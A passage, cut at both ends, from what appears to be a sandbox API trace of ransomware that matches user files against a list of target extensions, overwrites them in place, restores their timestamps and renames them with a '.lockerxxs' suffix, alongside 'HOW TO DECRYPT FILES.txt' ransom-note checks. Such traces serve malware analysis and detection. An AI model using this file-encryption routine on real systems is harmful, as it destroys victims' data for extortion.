pszSpec="*.ofx") returned 0 [0085.059] lstrlenA (lpString="*.ofx") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.qif") returned 0 [0085.059] lstrlenA (lpString="*.qif") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.mye") returned 0 [0085.059] lstrlenA (lpString="*.mye") returned 5 [0085.059] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.mbox") returned 0 [0085.059] lstrlenA (lpString="*.mbox") returned 6 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.eml") returned 0 [0085.060] lstrlenA (lpString="*.eml") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.pst") returned 0 [0085.060] lstrlenA (lpString="*.pst") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.ost") returned 0 [0085.060] lstrlenA (lpString="*.ost") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.idx") returned 0 [0085.060] lstrlenA (lpString="*.idx") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.dbx") returned 0 [0085.060] lstrlenA (lpString="*.dbx") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.sql") returned 0 [0085.060] lstrlenA (lpString="*.sql") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.mdb") returned 0 [0085.060] lstrlenA (lpString="*.mdb") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.fdb") returned 0 [0085.060] lstrlenA (lpString="*.fdb") returned 5 [0085.060] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.wab") returned 0 [0085.060] lstrlenA (lpString="*.wab") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.dat") returned 0 [0085.061] lstrlenA (lpString="*.dat") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.txt") returned 0 [0085.061] lstrlenA (lpString="*.txt") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.jpeg") returned 0 [0085.061] lstrlenA (lpString="*.jpeg") returned 6 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.jpg") returned 0 [0085.061] lstrlenA (lpString="*.jpg") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.png") returned 0 [0085.061] lstrlenA (lpString="*.png") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.php") returned 0 [0085.061] lstrlenA (lpString="*.php") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.cs") returned 0 [0085.061] lstrlenA (lpString="*.cs") returned 4 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.cpp") returned 0 [0085.061] lstrlenA (lpString="*.cpp") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.rar") returned 0 [0085.061] lstrlenA (lpString="*.rar") returned 5 [0085.061] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.zip") returned 0 [0085.062] lstrlenA (lpString="*.zip") returned 5 [0085.062] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.html") returned 0 [0085.062] lstrlenA (lpString="*.html") returned 6 [0085.062] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", pszSpec="*.htm") returned 1 [0085.062] lstrlenA (lpString="*.htm") returned 5 [0085.062] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" [0085.062] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" [0085.062] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm." [0085.062] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.lockerxxs" [0085.062] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.063] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeb [0085.063] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce0bd9df, dwHighDateTime=0x1ca040d)) returned 1 [0085.063] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.063] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc5, lpOverlapped=0x0) returned 1 [0085.065] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned="Hand Prints.htm" [0085.065] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.065] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc5, lpOverlapped=0x0) returned 1 [0085.065] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.065] CloseHandle (hObject=0x98) returned 1 [0085.066] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.lockerxxs")) returned 1 [0085.067] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x22000321, dwReserved1=0x4e00c4, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1 [0085.067] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.067] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HandPrints.jpg") returned -1 [0085.067] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HandPrints.jpg") returned 1 [0085.067] lstrcmpiA (lpString1="", lpString2="HandPrints.jpg") returned -1 [0085.067] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm") returned="Hand Prints.htm" [0085.067] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.067] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.067] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.067] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.067] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HandPrints.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" [0085.067] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.ems") returned 0 [0085.067] lstrlenA (lpString="*.ems") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.db") returned 0 [0085.068] lstrlenA (lpString="*.db") returned 4 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.dbf") returned 0 [0085.068] lstrlenA (lpString="*.dbf") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.myox") returned 0 [0085.068] lstrlenA (lpString="*.myox") returned 6 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.myo") returned 0 [0085.068] lstrlenA (lpString="*.myo") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qbw") returned 0 [0085.068] lstrlenA (lpString="*.qbw") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qbb") returned 0 [0085.068] lstrlenA (lpString="*.qbb") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qbm") returned 0 [0085.068] lstrlenA (lpString="*.qbm") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qbo") returned 0 [0085.068] lstrlenA (lpString="*.qbo") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qbx") returned 0 [0085.068] lstrlenA (lpString="*.qbx") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qba") returned 0 [0085.068] lstrlenA (lpString="*.qba") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qby") returned 0 [0085.068] lstrlenA (lpString="*.qby") returned 5 [0085.068] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qbj") returned 0 [0085.068] lstrlenA (lpString="*.qbj") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.ofx") returned 0 [0085.069] lstrlenA (lpString="*.ofx") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.qif") returned 0 [0085.069] lstrlenA (lpString="*.qif") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.mye") returned 0 [0085.069] lstrlenA (lpString="*.mye") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.mbox") returned 0 [0085.069] lstrlenA (lpString="*.mbox") returned 6 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.eml") returned 0 [0085.069] lstrlenA (lpString="*.eml") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.pst") returned 0 [0085.069] lstrlenA (lpString="*.pst") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.ost") returned 0 [0085.069] lstrlenA (lpString="*.ost") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.idx") returned 0 [0085.069] lstrlenA (lpString="*.idx") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.dbx") returned 0 [0085.069] lstrlenA (lpString="*.dbx") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.sql") returned 0 [0085.069] lstrlenA (lpString="*.sql") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.mdb") returned 0 [0085.069] lstrlenA (lpString="*.mdb") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.fdb") returned 0 [0085.069] lstrlenA (lpString="*.fdb") returned 5 [0085.069] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.wab") returned 0 [0085.070] lstrlenA (lpString="*.wab") returned 5 [0085.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.dat") returned 0 [0085.070] lstrlenA (lpString="*.dat") returned 5 [0085.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.txt") returned 0 [0085.070] lstrlenA (lpString="*.txt") returned 5 [0085.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.jpeg") returned 0 [0085.070] lstrlenA (lpString="*.jpeg") returned 6 [0085.070] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", pszSpec="*.jpg") returned 1 [0085.070] lstrlenA (lpString="*.jpg") returned 5 [0085.070] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" [0085.070] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" [0085.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg." [0085.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.lockerxxs" [0085.070] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.071] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x107e [0085.071] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28e09fe0, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa45cbf3, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.071] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.071] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1058, lpOverlapped=0x0) returned 1 [0085.085] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned="HandPrints.jpg" [0085.085] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.085] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1058, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1058, lpOverlapped=0x0) returned 1 [0085.086] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.086] CloseHandle (hObject=0x98) returned 1 [0085.086] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.lockerxxs")) returned 1 [0085.087] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x22000321, dwReserved1=0x4e00c4, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1 [0085.087] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.087] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Orange Circles.htm") returned -1 [0085.087] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Orange Circles.htm") returned -1 [0085.087] lstrcmpiA (lpString1="", lpString2="Orange Circles.htm") returned -1 [0085.087] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned="HandPrints.jpg" [0085.087] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows 